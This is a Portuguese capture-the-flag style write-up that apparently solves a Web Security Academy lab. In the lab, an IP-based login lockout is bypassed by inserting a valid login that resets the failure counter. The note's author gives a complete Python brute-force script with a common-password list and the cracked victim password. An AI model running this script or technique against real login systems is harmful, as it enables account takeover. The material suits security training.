> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/authentication/broken-brute-force-protection-ip-block.md).

# Proteção Quebrada Contra Força Bruta com Bloqueio Baseado em IP

### Proteção contra força bruta quebrada, bloqueio de IP

Este laboratório tem uma falha lógica em sua proteção contra ataques de força bruta. / O objetivo é **fortalecer a senha da vítima** e então fazer login na conta dele.

* **Credenciais fornecidas:** wiener / peter
* **Nome de usuário da vítima:** carlos

#### Observação do mecanismo de bloqueio

Testar várias combinações para o usuário carlos mostra que, após **três tentativas incorretas**, a aplicação exibe:

> *Você fez muitas tentativas de login incorretas. Tente novamente em 1 minuto(s).*

Portanto, o site aplica um **bloqueio baseado no endereço IP** após várias falhas consecutivas.

<figure><img src="/files/56d331a868889d82dd4480442c152e6a43672399" alt=""><figcaption></figcaption></figure>

### Contornando o bloqueio de IP

Para contornar essa proteção, uma falha lógica é explorada:

* Enviamos **duas** tentativas inválidas para carlos.

<figure><img src="/files/c1e2e60bbda7ef4b512ace721a9e9e86406ef5f3" alt=""><figcaption></figcaption></figure>

* Na **terceira** tentativa, enviamos uma autenticação válida\*\*, mas com IDs de wiener: peter.
* Como essa conexão é bem-sucedida, o sistema \*\* redefine o contador\*\* para este endereço IP.

### Script Python usado

O script a seguir automatiza o ataque testando duas senhas para carlos e depois redefinindo o contador por meio de uma conexão bem-sucedida como wiener:

```python
import requests
import time

url = "https://0a19006903c3409a83f97eef000a00be.web-security-academy.net/login"
session_cookie = "7iUGnIrXGPogHTIfzuPfAC89Jel0jghh"

passwords = [
    "123456", "password", "12345678", "qwerty", "123456789", "12345", "1234",
    "111111", "1234567", "dragon", "123123", "baseball", "abc123", "football",
    "monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321",
    "mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx",
    "7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1",
    "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer",
    "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000",
    "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars",
    "klaster", "112233", "george", "computer", "michelle", "jessica", "pepper",
    "1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777",
    "pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua",
    "cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea",
    "biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin",
    "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", "monitoring",
    "montana", "moon", "moscow"
]

session = requests.Session()

def login(username, password):
    headers = {'Cookie': f'session={session_cookie}'}
    data = {'username': username, 'password': password}
    return session.post(url, headers=headers, data=data, allow_redirects=False)

for i in range(0, len(passwords), 2):
    batch = passwords[i:i+2]

    for password in batch:
        print(f"Tentando carlos:{password}")
        response = login("carlos", password)

        if response.status_code == 302:
            print(f"SENHA ENCONTRADA! carlos:{password}")
            exit()

    if i + 2 < len(passwords):
        print("Redefinindo com wiener:peter")
        login("wiener", "peter")
        time.sleep(1)

print("Senha não encontrada")
```

A senha correta de carlos descoberta por meio do ataque é:

> **michelle**

<figure><img src="/files/f0e73fa2af81ba3e77393af6e97d556ca1e1fee7" alt=""><figcaption></figcaption></figure>


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